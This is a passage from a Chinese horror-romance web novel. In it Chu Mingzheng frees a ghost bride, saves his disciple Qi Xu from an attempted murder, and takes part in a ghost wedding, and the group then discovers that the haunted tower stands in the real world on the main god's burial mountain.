楚明铮动手将她手腕和脚腕上的绳索一并解开了,反手将少女纤弱的腕骨一拉,顺势从座椅上带了起来。 “你胸前这把小刀能借我用一下吗?”楚明铮指着那柄刺入她胸口的刀问道。 鬼新娘茫然无措的点了点头。 楚明铮礼貌致意,伸手握住刀柄,将刀锋从少女的胸膛间一拔而出:“谢谢。” 两人大步走出洞房,出门的瞬间,门槛外的无脸村民们一个个又仿佛全都活了似的,接二连三的围拢上来,为首的是几个五大三粗的汉子,气势汹汹的往楚明铮和鬼新娘面前一挡,试图用这种“人墙”一样的形态,逼他俩回到洞房里去。 楚明铮反手一刀,直刺来人胸口,偌大的一个大汉登时血溅三尺,鬼哭狼嚎着倒在了鬼新娘脚下。 鬼新娘惊得一个哆嗦,往楚明铮身后去躲。 楚明铮一手拎刀,一手护住她的身形,回身简短的安抚一声:“别怕。” 第二个大汉紧随其后,楚明铮眼尾余光一闪,在拳风扑面而来的前一秒,刀柄就已经递出去了。 鬼的身体很有意思,它们用刀穿起来的时候,触感很像果冻,也很像晒软的糖葫芦球,一进一出,有种莫名Q弹的软乎感。 楚明铮动作敏捷活络,带着鬼新娘,一路宛如切萝卜大白菜一样,转瞬间就挪动到了院门口。 他回身将鬼新娘整个人拦腰一抱,送出门槛之外,自己也紧跟着跳出门槛去。 其余所有妖魔鬼怪都被挡在了院内。 鬼新娘摇摇晃晃的在地面上站稳当了,楚明铮见她体力不支,下意识伸手想要搀扶她。 然而下一秒,只见鬼新娘周身雾气掩映,氤氲着化开了浓雾。 楚明铮大脑骤然一痛,再一睁眼,就发现自己重新回到了热热闹闹的拜堂处,周围仍然是那些无脸人,脚下仍然是方块状的红地毯,堂屋里正襟危坐的高堂仍然是那四位。 楚明铮心念电转,抬手将面前新娘子的红盖头掀开了,发现红盖头底下仍然是一只大公鸡。 这是怎么回事? 刚才的场景又重新来了一遍? 他陷入循环往复的轮回了? 楚明铮狐疑的朝人群中看去,然后他很快发现一个跟刚才不一样的地方。 周自重站在人群外,拼命给他挥手:“楚哥!别发愣了,它们让你拜堂呢!” 周自重身侧是魏仞,魏仞虽然面色不虞,但是眉宇间仍然流露出担心的神色。 不对,这不是循环的幻境,这就是他们刚才进来的第三层,也是某种意义上的“现实中”。 楚明铮猛然将公鸡举起来,依照刚才在幻境中的模样,用力将公鸡的脖颈拧断,一字一句的继续逼问:“齐栩呢?你们把齐栩弄哪里去了?” 满院子村民无人应答,人群外周自重和魏仞两人也忍不住倒抽一口凉气。 “对啊!齐栩呢!齐栩怎么被变成一只大公鸡了?”周自重从地上跳起来就要跟村民急,他虽然没那么喜欢齐栩,但是不可否认的是齐栩当话事人,是他目前在主控中心能想到的最好的领导。 起码齐栩听楚明铮的话,楚明铮又跟自己关系好呀,对周自重来说,这后门走的十分顺畅,他也不想眼睁睁看着齐栩死。 有了第一次经验,楚明铮这次倒没有那么慌张了,他狐疑的环顾四周,刚打算故技重施,拿着大公鸡的血一路泼洒开路,去后院洞房找齐栩。 然而他刚一转头,就看见了另一道身影。 鬼新娘低着头,站在人群的最边上,苍白的指尖无声的给他指了一个方向。 楚明铮眉心一拧,选择信她一回,于是带着大公鸡,一步一步朝鬼新娘所指点的方向走去。 那是后院柴房的位置。 …… 齐栩是在浑身剧痛中醒来的,后脖颈疼的厉害,双腕都被麻绳捆在身上,轻轻一摩擦腕骨上就能渗出血。 耳畔传来一阵窸窸窣窣,稻草翻动的声音。 齐栩费劲的转过头去,只见方才队伍里那个跟着周叔叔一起的矮胖男人,正一步一步艰难的向他走来,手上抱着一块一臂宽的大石头,这也正是他挪动费力的原因。 那男人走两步停一下,擦一把头上的汗水,显然他从别的地方搬来了这块石头,并且累的够呛。 齐栩疑惑的注视着这个人,一时没弄明白他要干什么。 自己并不认识他。 “齐长官,您也别怪我。”王熊气喘吁吁的道:“毕竟你我都知道一个事,我现在在考察副本里要是放了你一条生路,等出去以后,你这大脑再恢复过来,想到这些天的遭遇,是绝对不会放我们一条生路的。” 齐栩骤然意识到他手上那大石头是拿来做什么用途的了。 王熊眼底浮现凶光,俯身一个用力,将脚边的大石头一举而起,正对着齐栩的脑袋砸下! 石头巨大的阴影随之倾轧下来,耳畔风声呼啸,就在千钧一发之际,有人从半空狂扑而来,一脚踹翻了王熊矮胖的身形。 “师父!”齐栩只来得及发出一声短促的叫喊,声音就猝然中断了去。 楚明铮将王熊踹倒的刹那,便回身抬手拼命去撞空中的那块石头。 奈何人的臂力终究有限,楚明铮用尽全力也只是将石块在半空中让它凝固片刻,随即方向变动,朝另一边滚落而去。 石头的边缘裹挟着重力,将齐栩的后脑勺重重一擦! 他便瞬间痛呼一声,眼前发黑,向前俯身摔翻过去。 周自重和魏仞两人紧随其后,一齐将王熊制服倒地,楚明铮连王熊看都来不及看一眼,回身就去帮齐栩解开手腕上的绳索,蹲在地上将他搂在臂弯里,一迭声的问道:“齐栩,齐栩!你怎么样,醒醒!” 那面色苍白的青年神情痛苦的在楚明铮的怀里躺了十来秒,睁开眼睛的时候目光中浮现一丝怔愣似的茫然。 “师父?” 楚明铮抬手就要将他翻个面,低头去看他后脑勺处有没有被砸出血或者更严重的伤痕。 然而他刚一抬手,就被齐栩伸手挡住了。 “我没事,师父。”齐栩虚弱的道。 “头晕不晕?身上还有没有别处受伤的地方?”楚明铮扶着他的手臂急切道:“妈的,我入幻境找个线索的功夫,居然让那孙子钻了空子,老周,把人给我捆上,待会儿我亲自给他扔到塔底下去,给他好哥们陈兆金陪葬。” 周自重在那头兴高采烈的答应一声:“好~嘞~” 楚明铮变换了一下姿势,把齐栩从地上扶着站起来了,齐栩整个人倚靠在楚明铮身上,目光逐渐由初醒的茫然变为清晰,嘴角忍俊不禁般的弯起了一个愉悦的弧度。 一行人押着王熊,又从后院走回了前厅。 满堂屋的无脸人仍然站在原地等待他们,只不过这一次它们的攻击性明显消去了不少,这大概是由于幻境的主人从洞房里脱困而出,有了主体意识的缘故。 鬼新娘站在堂屋中间,安静的等候着楚明铮的归来。 楚明铮扶着刚解救出来的齐栩,跟她两厢对视着,末了和颜悦色的又问道:“还需要我帮你做什么吗?” 鬼新娘摇摇头,清秀标致的脸上已经不见了苍白鬼气,身形隐隐散发着透明的光芒。 楚明铮认识这种光芒,那是灵魂执念尽消,准备投胎的前兆。 “那你……考虑考虑放我们出去呗。”楚明铮对她又道。 鬼新娘侧过身,将堂屋正中的位置让给他,身后那四位双亲的身影也都消失不见了,唯有神龛前两支红色喜烛明媚动人,闪动出缱绻的光影。 鬼新娘朝楚明铮和齐栩指了指,又指了指正堂屋中央的位置。 楚明铮一脸茫然:“啊?干什么?” 齐栩比他理解领会的要快一些,立刻问鬼新娘道:“你是想看我们两个在这里拜堂成亲是不是?” 鬼新娘默然不语的点了点头。 楚明铮:“???” 什么鬼! 这鬼新娘怎么还恩将仇报呢? 楚明铮瞪大眼睛,刚要辩驳:“不——” 齐栩便不由分说的将他肩膀一推,满脸喜色的催促道:“师父,走啦,我们拜堂去。” “不是——”楚明铮还想再挣扎一下,崩溃道:“这又是什么要求,我已经给她把怨气疏散开,让她挣脱牢笼不用拜堂了,为什么她现在反过来让我拜堂?” 齐栩忍着笑解释道:“对啊,鬼有时候能看清人心底最真实的愿望,你帮她脱出心魔困境,她就洞察了你心底最深处的愿望,帮你实现嘛。” 这个解释让楚明铮更是心头一哽,一口老血喷薄而出:“胡言乱语,我的愿望什么时候变成我想跟你成亲了!” “师父不必隐瞒自己的愿望,总归我当真了。”齐栩连拖带拽将楚明铮带到了红地毯上,眼睛里是亮晶晶的喜色。 楚明铮觉得自己简直无奈到家了。 鬼新娘微微抬手,身畔无脸村民扬起铜锣鼓乐,吟唱声起:“一拜天地——” 楚明铮不得已俯身下去,齐栩却不满意,伸手轻轻在他膝盖后弯处敲了一下,让他跟自己一道跪地叩拜。 楚明铮横着瞪他一眼。 “快点,师父。”齐栩小声催促:“这样才显得虔诚,以后才能永结同心。” 楚明铮忍气吞声,叩拜下去。 “二拜高堂——” 两人对着原本坐着双亲的椅子上又是一跪一叩。 最后一声锣鼓声响:“夫妻对拜——” 屋外炮竹噼里啪啦响起,扬起满天红色飘带,淅淅沥沥如雨落下,映透了半边天的喜色春光。 楚明铮抬眼,静静的跟对面的青年目光对视,对方眼里是说不出的炽热与干净的喜悦,一时间十二年前后的大小齐栩目光重合,在楚明铮眼里犹如盈盈星火,光芒万丈。 其实这么多年,齐栩看他的眼神从未变过。 永远包含着敬仰崇拜,还有隐忍的渴求。 楚明铮心念一动,心中的某个地方逐渐柔软下来,他轻声叹了口气,俯身跟齐栩拜完了最后一式。 礼成。 齐栩和楚明铮都是年少时就不幸被副本选中的人,多年鬼蜮厮杀,才能夺得一线生机。 他们生于鬼神之中,长于鬼神的控制之下,如今连新婚礼成,都在鬼神的注视下完成。 楚明铮不觉苦笑,但心底却意外的没有很沉重,他注视着徒弟近在咫尺的眼睛,无声的笑了笑,又很快将那抹无奈的笑意隐没在沉稳中。 鬼新娘的身形在虚幻的光芒里逐渐消融,周围的建筑和无脸村民们也都随之远去,整个冥婚的幻境犹如海市蜃楼,随风飘散,最终周遭只剩下了冷冰冰的塔楼内壁。 一切安然无恙。 周自重大大的松了一口气:“总算结束了……哎,王熊呢?” “刚才还在这里,一转眼人不见了,怎么回事!”周自重急吼吼的道:“楚哥,我发誓我把他绑好了,他就是个会钳绳子的螃蟹他都跑不掉!” “应该是被鬼新娘带走了吧。”魏仞云淡风轻的说。 周自重:“嗯?副本里的鬼还提供这种服务,帮人解决仇家?” “当然。”魏仞回答:“楚明铮帮她从百年牢笼里脱困,她帮楚明铮解决仇家,让楚明铮和你们齐长官拜堂,都是在做她认为对楚明铮好的事情。” “哦哦哦哦……” 楚明铮闻言也是松了口气,冷冷回答道:“我就说我的愿望不可能是跟谁成亲。” 其余几人神情各异的瞥他一眼,不约而同都流露出调侃的意味。 “对了,齐栩……”楚明铮忽然想到什么似的,朝齐栩转过头去,刚要开口,然后又对上了齐栩似笑非笑的一双眼睛,话音又在嘴边停顿住了。 “怎么了师父?”齐栩笑容可掬的恭敬道:“你说,我听着。” “你……记忆恢复了?”楚明铮狐疑道。 齐栩连忙否认:“我没有。” “我觉得你有。”楚明铮打断道:“你十二岁的时候不会看着我露出这种笑容。” 齐栩脸上笑容果然凝固了一下,汗颜道:“……哪种笑容?” “就是现在这种。”楚明铮抬手一碰他的脸,咬牙切齿道:“这种贱兮兮的玩味笑容,给我收回去!我看着闹心。” 齐栩神情骤转丧气:“啊,我还想多跟你装一会儿十二岁的可爱小朋友呢,师父你怎么这样……” 楚明铮将搀扶着他的手冷漠的撒开了:“那你现在不用装了,干点正事吧,比如决定一下我们应该去第几层。” 魏仞在一旁重重的咳嗽了一声,见齐栩智力恢复,他的表情也随之恢复到以前在主控中心跟齐栩鼻子不是鼻子,眼睛不是眼睛的冷淡状态。 齐栩倒是没什么太多的表示,他转过头去对老魏轻轻一颔首:“谢了啊。” 老魏莫名其妙:“谢我做什么?” “谢谢你没有因为平时跟我的矛盾,关键时刻给我师父添乱。” 老魏瞬间炸毛:“你个小兔崽子——” “你什么意思,我在你心里就是这种人!?”老魏眼看着又要去怀里掏速效救心丸。 周自重连忙一左一右的打圆场:“行了行了……都别吵了,现在该死的人也都死干净了,留下的都是咱们自己人,一起想办法去下一个楼层,赶紧过关出去才是,两位长官起内讧算是怎么回事。” “原来你眼里还有我这个长官!”老魏怒道:“不知道的还以为你周自重攀上楚明铮的裙带关系,从副本里出去就要取代我的位置了呢!” 周自重:“……” 楚明铮忍无可忍,撸起袖子就要上前殴打老年人:“你说谁是裙带关系……老头,我今天就让你见识见识,什么叫做裙,带,关,系!” 齐栩和周自重这下一个都没得闲了,一人一边抓着楚明铮和老魏,将两人往开撕扯。 齐栩哭笑不得的将楚明铮拦腰抱开,压制住他的挣扎,将人顺势抵在墙上。 楚明铮手脚并用,挣动的气喘吁吁,指着老魏痛骂道:“老匹夫你有种接下来别跟我们一道!” “不跟就不跟,谁怕谁!”那边传来魏仞掷地有声的怒斥。 楚明铮险些背过气去,抬手一揍齐栩腰窝:“放开!我今天非让他的医保派上用场不可。” 齐栩笑眯眯的低头在他嘴唇边亲了一口,小声埋怨道:“师父都跟我拜过堂了,他说攀上你等于攀上裙带关系,貌似也没说错呢~” “你也给我滚!”楚明铮恶声恶气道。 齐栩故作伤感:“我刚恢复记忆,师父就骂我?” “你现在又不是十二岁,我骂你一点心理负担都没有。”楚明铮没好气的从他的桎梏中挣脱开来,径直走向三楼的门锁处,一拧门把手“咔哒”一声,将锁开了。 “走。”他一偏头,示意众人消停点,赶紧出去。 魏仞从鼻孔里发出一声重重的冷哼,昂首挺胸大步出门,骄傲的后脑勺仿佛是在说:我第一个出去,我可不算是跟着你一道走的! “你说他是怎么在现实世界和副本里活了这么大岁数还没被人打死的?”楚明铮低声问齐栩。 齐栩笑着眨眨眼,跟师父咬耳朵:“谁知道呢,资历老吧。” 楚明铮匪夷所思的瞪了两眼魏仞的背影,挥手示意众人快跟上吧,别再耽搁事了。 因为从二楼出来的时候,楚明铮他们三个没能推开一层的门,所以这回从三楼出来,四人就直接就近上了第四层塔楼。 这是一个空荡荡的平坦地带。 头顶就是渗出天光的高塔顶端,整个四层毫无动静,没有异样,没有变动,落针可闻。 楚明铮和齐栩对视一眼,都觉得奇怪。 第四层作为整个高塔的最顶层,所放置的恐怖事物不应该也是破解难度最高的一个吗? 这里怎么什么都没有? 楚明铮一马当先,拿着手电筒在四层有限的空间里整个绕了一圈,仍然什么都没发现。 “师父,我觉得你拿着那个手电筒有点多余。”齐栩在他身侧道。 “为什么?” 齐栩一耸肩:“你看头顶,光芒四射的,自然光都把四层照亮一遍了。” 楚明铮一怔,心说他怎么没想到这一层呢。 只见四层所在的天花板处,正好开了一个半径约一臂长的圆口,此时应该刚好是中午左右,太阳光直射进来,将整个四层照的透亮,就跟寻常的露天小院没什么区别。 楚明铮思忖片刻,朝齐栩伸出手:“你有没有绳索道具,我要上去看看。” 齐栩莞尔:“当然。” 五分钟之后,楚明铮腰上吊着绳子,单手拎住绳索的另一头,扬手将捆扎着铁钩的另一端投掷出去,铁钩倏然在塔顶之外被牢牢的固定住了。 齐栩担心的抬起头:“师父,你能行吗,要不换我上?” 楚明铮用审视的目光瞥了他片刻,开口道:“不急,不出意外的话,我们几个待会儿都得上去。” 周自重疑惑的发出了一个单音节字:“啊?” “为什么?” “第四层没有需要破解的谜题,也没有任何危险的元素,在副本里没有危险就等同于没有线索,那想要找到破局的办法,就只能再往上了。”楚明铮耸耸肩道。 齐栩和周自重不得不承认这话说的有道理,于是都闭嘴了。 楚明铮不再废话,用力将伸缩绳一拽,身形矫健弹射而起,转瞬间在塔尖消失了踪影。 齐栩连忙朝天花板正中央的底下快走几步,试图从那一线天光中得到楚明铮的情况。 周自重和魏仞也忍不住跟上前去。 三个人站在四层塔中抬头极力仰视,过了好一会儿,伸缩绳的一端骤然从头顶被人又抛下来了,楚明铮从天光处探出了脑袋。 “都上来。”他简单利落的吩咐道。 齐栩等人不再犹豫,挨个握着伸缩绳跳跃而上。 周自重和齐栩的体力和敏捷度都没什么问题,老魏稍微费劲点,于是齐栩暂时放下前嫌,伸手过去拿起伸缩绳的一端,在老魏的手腕上打了个死结。 老魏瞪圆了眼睛:“你干什么?” “防止您中途抓不住绳子掉下来。”齐栩好声好气的说:“打个死结相当于多一份保险。” 老魏刚要怒斥他:“用不着——” 齐栩掌心骤然发力,冷不防将他推下四层塔楼,伸缩绳巨大的拉拽力瞬间起了作用,老魏发出一声不属于这个年纪的惊叫,身体随即破空而出,下一个瞬间就弹射到了塔顶处,被楚明铮稳稳接下。 “啊……你们两个欺负老年人的王八蛋!” “对对对,我们两个欺负老年人。”楚明铮一边把绳子从他手腕上卸下来,一边敷衍着道:“齐栩要是真欺负老年人,他就会把你单独留在底下,他自己上来了。” “毕竟在副本里,资历并不是那么管用,是不是?” 老魏痛苦的走到一旁扶腰休息去了,楚明铮将绳索重新给齐栩放下去。 齐栩的动作是他们当中最快的,三下五除二就飞跃而上,干练利落的站在了楚明铮身侧。 “师父!”他帮楚明铮将绳索收好,起身问道:“你上来以后有什么发现?” 楚明铮神情凝重,示意齐栩朝高塔四周的风景去看。 他们身下的这座塔,建立在一片一望无际的山峦上,目之所及皆是郁郁葱葱,大大小小的山峰高低交错,晴空万里无云,头顶的天色甚至都是碧蓝色,仿佛刚被水洗过一般明净漂亮。 齐栩呆立原地,愕然半晌,开口询问楚明铮:“这是什么地方?” “国家5A级风景区吗?” 楚明铮也很懵,他纵横副本多年,从没见过这种漂亮的像油画一般的场景。 不仅是像油画,最重要的是,这场景看起来跟现实世界里山区的风景太过相像了,如果不刻意去想,你完全可以把这地方就当做一个适宜旅居,攀登的风景区,跟血雨腥风的副本背景完全扯不上关系。 “这……”周自重也挠了挠头,不过他的关注点在另一个地方。 “我们这就算是离开塔楼了?” “可是我们还在副本里啊。” 周自重和楚明铮大眼瞪小眼:“现在塔楼里的恐怖危机都已经破除了,我们还能做什么才能离开副本?” 或者说,我们现在到底离开副本了没有? 眼前的场景比楚明铮从前经过的任何一场副本都安详,平和,然而楚明铮却比从前的任何一次都要心里没底。 他总觉得这个副本,哪里好像不太对劲,处处都透着古怪。 就比如眼前的景象,美则美矣,但是给楚明铮的感觉莫名很不舒服。 他有一种现实和虚妄副本之间的界限被模糊了的荒唐感。 第99章 镇灵邪塔(五) 副本内外 “走吧,先到塔楼底下去。”齐栩轻轻在一旁推了推他道。 “既然四楼没有东西,那就只剩下一楼了,一楼的门从塔楼里侧推不开,我们试试从正门进,没准就有新发现了。” 楚明铮心事重重的点了点头,随后将绳索又拿出来,固定好之后,沿着塔层将绳索的另一头抛掷下去。 依旧是楚明铮一马当先,齐栩断后,一行人沿着高耸的塔楼滑落而下。 周自重站在平坦的山林间深吸一口气,感慨道:“副本里居然还有这种含氧量极高的健康环境,真是闻所未闻。” “而且风景漂亮,以后我埋骨之处选在这么一个山清水秀的好地方,也是不错的——” 他话音未落,后脑勺就喜提楚明铮和魏仞一人一记棒槌:“嗷!你俩干什么!” “在副本里给自己找埋骨之地,不嫌晦气!”魏仞怒道。 “赶紧呸呸呸!”楚明铮恨铁不成钢,抓着他的手就往一旁树木上碰,示意此人口无遮拦,阎王爷不要当真,不要真把他给带走了。 周自重被这俩人的如临大敌搞得哭笑不得,只好摆手说行。 齐栩落地后将绳索一收,径直绕到了塔楼的正门面前去,低头专注的开始研究那个门锁。 楚明铮跟过去一起,跟齐栩头对头试图把正门门锁打开。 然而这两人轮番上阵,窸窸窣窣折腾好半天,生了锈的门锁我自岿然不动。 “我说你俩到底行不行?”魏仞不耐烦道。 他上前一步把齐栩和楚明铮撞开,自己从地上捡了根干瘦的枯树枝,对准锁孔眼,一番捅戳,同样无果。 楚明铮和齐栩站在身后,好整以暇的看着他。 魏仞回身见到俩人这副想笑不敢笑的面容,不由气急败坏,从地上捡起块石头,往门锁上猛砸,竟是试图将门锁直接砸掉,然后破门而入。 楚明铮也没有要阻拦的意思,就站在原地任他砸锁,反正也打不开,不如让这老头砸了去,也许还有一线生机。 魏仞几下重击过后,门锁竟然真松动了几分,咔嚓咔嚓的发出即将脱落的预兆声。 楚明铮和齐栩对视一眼,心里都是一惊,随即俯身上前看去。 只见门板上那块看起来坚硬的仿佛焊上去的铁锁,居然在石头的砸动中轻微的抖动了几下,紧接着从底盘开始松动,摇摇欲坠。 魏仞的脸色出现了一丝犹豫,楚明铮直接上前握着他的手腕,用石头又在门锁上砸了一次。 这下整个门锁发出“咔嚓”的一声脆响,下一秒居然从底盘开始整体脱落,咕咚一声掉落在了地上。 齐栩,楚明铮,周自重,魏仞四个人全都傻了。 这根本就不是门锁,这只是一个被铸造成门锁模样,焊在墙壁外的门锁状装饰品。 很好,现在问题来了,门锁不是门锁,那塔楼的大门在哪儿? 齐栩忽然俯身,从地上捡起一块石头,扬手朝二层的塔楼外壁用力投掷过去,石头于塔壁碰撞,发出轰然一声。 他又捡起另一块石头,后退几步,朝一层塔楼的外壁砸过去,然后仔细分辨了一下两者的动静。 最后笃定的对楚明铮道:“师父,一层塔楼是实心的。” 楚明铮:“?!” 这个推论就令人颇为惊恐了。 “你的意思是说,一层塔楼根本没有东西,整个一层塔楼只是上三楼的地基?” 齐栩点头:“是的,声音不一样,一层的墙壁里全是浇筑严实的土壤和砖块,你仔细听,它发出的动静是沉闷的。” 楚明铮和周自重面面相觑,这下众人谁都没辙了。 相当于现在塔楼里已经没有任何东西可供他们破解了,但是他们仍然没有从副本里脱困出来。 “怎么办?”周自重绝望道:“虽然我喜欢这个山林间的风景,但是不意味着我真想在这个副本里呆下去啊,我还是想出去安度晚年的!” 一旁的魏仞显然又被“安度晚年”四个字戳到了肺管子,忍不住激烈的呛咳起来。 齐栩和楚明铮对视一眼,难得都有点不知所措。 “要不我们往树林里走走?”齐栩提议:“你们看这附近都是山脉,丛林密布,说不好恐怖事件都发生在树林里呢,副本一向不允许我们清闲太久,往前走着再看看好了,总不能一直在这个塔跟前逗留吧。” 楚明铮没有表示异议,一行人顺着丛林旁的小道朝里走去。 …… 山间的风景只有站在高处时,看起来是最漂亮的。 真要是走在其中穿梭,显然就没那么美好了。 楚明铮一边在队伍最前方开路,一边随意折了一根修长的木棍当拐杖,一路敲打着玩。 路上树荫丛林掩映,时不时有飞鸟和不知名的爬行小生物从头顶和脚下经过,楚明铮觉得眼前的场景真实的厉害,甚至可以用生机勃勃来形容,完全不像是怨气聚化而成的副本。 他们走了一天一夜,直到离开丛林,走到一处开阔地带,开阔地带的前方是一处陡峭的山崖,这地方似乎比高塔尖更高,站在山崖上能看清整个山峦的横纵起伏。 “这都什么情况?”周自重累的一屁股坐瘫在原地:“我们从一个山顶,走到了另一个山顶,是这意思吗?” “看样子是的。”齐栩沉痛道。 周自重绝望的往地上一倒,深觉这回真要困在副本大山里出不去了。 “等一下,齐栩你过来。”楚明铮站在山崖前吩咐道,语气严肃。 齐栩答应一声,走上前去,跟他并肩站在山崖前,俯瞰着底下的起伏。 “我觉得这个地形有问题。”楚明铮指着那云雾缭绕间的重峦叠嶂对他道。 “嗯?”齐栩疑惑:“哪方面?” “风水方面。”楚明铮回答。 “你看,我们视线最中央处,这条占地面积最大的山脉,看上去一路能蔓延到天边,它身侧还矗立着两条相对没那么显眼的山脉,身形略低,像两个陪衬一样卧在主山脉两侧,三条山脉呈平行状分布。” 齐栩听着这描述,忽然一蹙眉,意识到了什么:“……这好像是那个龙脉的风水啊师父。” “山环水抱,藏风聚气,主山脉来龙蜿蜒壮阔,青龙白虎在两侧护卫,周围有河,流水环绕,我们刚刚上来的时候,还见了不少小动物,植被茂密……每一条都对的上。” 楚明铮无言的望着他。 两人同时想到了一个可怕而熟悉的事物。 龙脉里葬着皇帝,风水聚气,汇拢千年怨念,终成副本。 主神。 跟副本有关的龙脉元素,那就只能是主神的埋骨之地了。 主神把他们送到自己的埋骨之地干什么? 楚明铮心里划过一丝不妙,他拿出手机,打算看一眼时间,然而下一秒余光一瞥,发现手机屏幕上居然显示出有信号! 楚明铮愕然将手机举到齐栩面前,震惊道:“这怎么回事?” 正常情况下,副本里的手机都是用不了了,阻断过关人跟外界联络求助的可能性是一方面,副本里阴气聚绕,根本产生不了WiFi这种事物又是另一个方面。 但是在这个副本里,手机居然有信号? 齐栩立刻道:“师父,你给基地打个电话试试。” 楚明铮很快拨通了楚小妙的电话,那边传来嘟嘟两声,很快就接通了。 楚小妙惊讶的声音从电话那头响起来:“喂,哥哥?” 楚明铮和齐栩在电话这头齐齐沉默了,巨大的惊悚和不解包拢了这两个从前在副本里所向无敌的两人。 “哥?”楚小妙疑惑的又喊了一声:“你不是进副本去了吗,怎么还能给我打电话?” “……等一下,你到底是不是楚明铮?你别吓我,老马!老马!你快过来,我哥打电话来了,但是我不知道他们是什么情况——” 楚明铮倏然挂断了电话,周身冷汗如瀑而下。 他一时间有些腿软,齐栩及时的伸手扶了一下他:“师父!” 两人在山崖边看着彼此的眼睛,心里一时都被这个惊悚至极的真相瘆到了极点。 这里根本不是副本。 他们从一开始就没有进副本,镇灵邪塔里的一切都是在现实世界里发生的,他们现在也正处在现实世界。 主神通过考察副本的名义,把他们送到了自己埋骨的那座山里,究竟意欲何为? 周自重和魏仞也察觉到了这俩人身上散发出来的凝重气息,于是过来询问道:“怎么了?你俩脸色看起来好差,是有什么别的发现吗?” 楚明铮将刚才的发现简单给周自重和魏仞讲了一下。 魏仞和周自重于是也沉默了。 “不是,这不合理,楚明铮你想啊,如果你说这里是副本之外的话,那你怎么解释刚才我们在邪塔里见到的一切呢?” “那可都是货真价实的鬼怪啊,王熊和陈兆金死的也是货真价实,我们亲眼看着的,如果这里是现实世界,怎么会有鬼。” 楚明铮目光沉沉的望向他:“现实世界按照常理来讲的话,也是不应该存在副本的,那你怎么解释副本这种事物存在了这么多年,还没消亡?” 周自重语塞:“好像也是。” “这里是灵邪气息聚集的场所,发生什么都不应该感到意外。”楚明铮望着远处一望无际的三川山峦,脸上神色是前所未有的忐忑。 从前在副本里跟鬼斗,楚明铮从没怕过,但是从血池棺林里出来之后,他们跟主神之间的那层神秘面纱被骤然撕开,其中的暗流涌动也就逐渐浮上水面。 没有神会允许人知道祂的过往,除非那个人是神的被奴役者。 楚明铮显然不愿意做那个被奴役者,他也不想让齐栩做主神的附庸。 那么这两者之间的矛盾就一触即发,眼看着就要拉开序幕了。 楚明铮没有跟神斗过,看着这壮丽如斯的龙脉,他现在也不知道自己胜算几何。 第100章 镇灵邪塔(完) 变故 “今晚找个地方先休息吧。”齐栩伸出手,力道沉稳而有力的扶住他:“师父,你太累了,我们明天再想办法。” 楚明铮叹了口气,跟他从山崖的最边缘处走下来了。 周自重一脸茫然:“老楚,你别吓我啊,你,你你给我个准话,这到底怎么个事?” 楚明铮抬手在老搭档的肩头拍了一把,淡淡道:“没事,咱先找晚上睡觉的地方。” 魏仞在一旁看了看齐栩,又看了看楚明铮,后知后觉的反应过来一个事:“你俩……该不会把主神给惹了吧?” “年轻人的事,老年人少掺和。”楚明铮顺手将他推开,兀自带着齐栩进丛林里找今夜的栖息地去了。 “嘿——你这不讲礼貌的,我给你说,有时候老年人有用着呢!家有一老,如有一宝!”魏仞恼怒的在他身后叫喊道。 …… 四人最终在山顶附近找到了一处能够遮风避雨的洞穴。 老魏进去想办法生火,周自重在丛林里摸索着去找吃的。 “天色晚了,朋友们,现在打不着野味,我们今晚拿野菜对付两口算了。”周自重抱着一捆野菜走回来。 楚明铮颇为嫌弃的看着他:“敷衍。” 周自重将野菜往地上一撂,没好气道:“那你自己去找吃的!” 齐栩连忙安抚:“师父别急,我去就行,你先在这里烤着火休息,我很快就回来。” 楚明铮略一点头,就径直坐到火堆旁边,闭目养神休息去了。 篝火在山洞里烧的暖暖旺旺,楚明铮靠着石壁,睡的有些昏沉。 齐栩不多时就回来了,手里还真拎着两只肥头大耳的野兔子,看的周自重眼睛都发直了。 “你……怎么逮到的?”周自重瞪着他手里那两只兔子问道。 齐栩微微一笑:“我夜里视力也很好。” 周自重感觉自己因为这句话受到了创伤。 齐栩拎着兔子走到楚明铮面前去邀功:“师父,看我打回什么来了?” 楚明铮将眼睛睁开一条缝,迷瞪着点了点头,示意自己知道了,然后便手背向外的朝他挥了挥:“嗯……处理好了再喊我吃饭。” 说完这句,他就眼睛一合,又蜷缩着睡觉去了。 齐栩乖顺的应答一声,返身离开山洞,开始处理兔肉,还很仔细的挑了个背风的地方,防止血腥味熏到楚明铮。 魏仞在旁边侧目看他。 过了一会儿开口问道:“你是怎么做到的?” 楚明铮不耐烦的睁开眼睛:“什么?” “你什么都没做,却让他只对你言听计从。”魏仞指出:“他在主控中心任何人面前都不是这样的。” “包括主神。” “嗯……”楚明铮的困意铺天盖地,脑海里什么回答都编不出来,最后甚是敷衍的对他含混道:“因为我年轻的时候长得好看,他鬼迷心窍……” 原本打算认真学习御下技巧的魏仞:“……” 真是毫无参考性的回答。 齐栩将兔皮剥了,兔肉清理干净,拿回来用树枝一穿,放在火上开始烤,兔肉熟的慢,他就先把兔皮烤了,然后拎起两块兔皮,毛茸茸的往楚明铮脑袋下一垫,又转身回来专注的烤兔肉。 周自重的口水越咽越汹涌,眼巴巴的蹲在齐栩身侧,等着他把肉弄好。 楚明铮枕着那块温暖而毛绒的兔皮,悄无声息的睁开眼睛。 从他这个角度刚好能看清楚齐栩的侧脸,俊朗英挺的面容被火光映的分外柔和,目光沉稳平静,赏心悦目的惊人。 滋滋的油水从兔肉里冒出来,香气很快袭卷了整个山洞,老魏也坐不住了,跟周自重一道慢吞吞的挪到了齐栩边上。 齐栩调侃似的朝这俩人瞥了一眼,但也没说什么,自己动手,慢斯条理的把兔肉撕开分好,把最嫩的部位给楚明铮挑出来,又给自己分了一部分,剩下的地方就留给周自重和魏仞了。 “师父。”他走到楚明铮面前,蹲下来将烤好的肉递给他。 楚明铮就着他的手,张嘴啃了两口,全程动作姿态像个大爷,齐栩也就耐心的在一旁用手心扶着,防止兔肉上的油渣掉到师父身上。 从头到尾没有半点不耐烦,一直到楚明铮挥手表示不吃了为止,齐栩才将手收回来。 “你说咱们接下来能怎么办啊?”周自重吃饱喝足后呈大字状瘫在山洞里的石板地上,目光发直的瞪着头顶的天花板:“这么大一山,走也走不出去,连个盘山公路都没有,车也开不进来。” 楚明铮从地上起身,动手把篝火撩拨的更旺盛了些:“刚才我给小妙他们短信发定位了,让他们明天想办法把交通工具弄到山里来。” “无论如何先把你跟老魏送出去。” 周自重从他的这句话里听出了一点别的意思。 “啊?”他火速从地上爬起来:“你这话我没听明白,你跟齐栩不打算跟我们一道回去?” 楚明铮默然半晌,没有回答这个问题。 “楚明铮,你回我句话啊。”周自重不悦中夹杂着焦急。 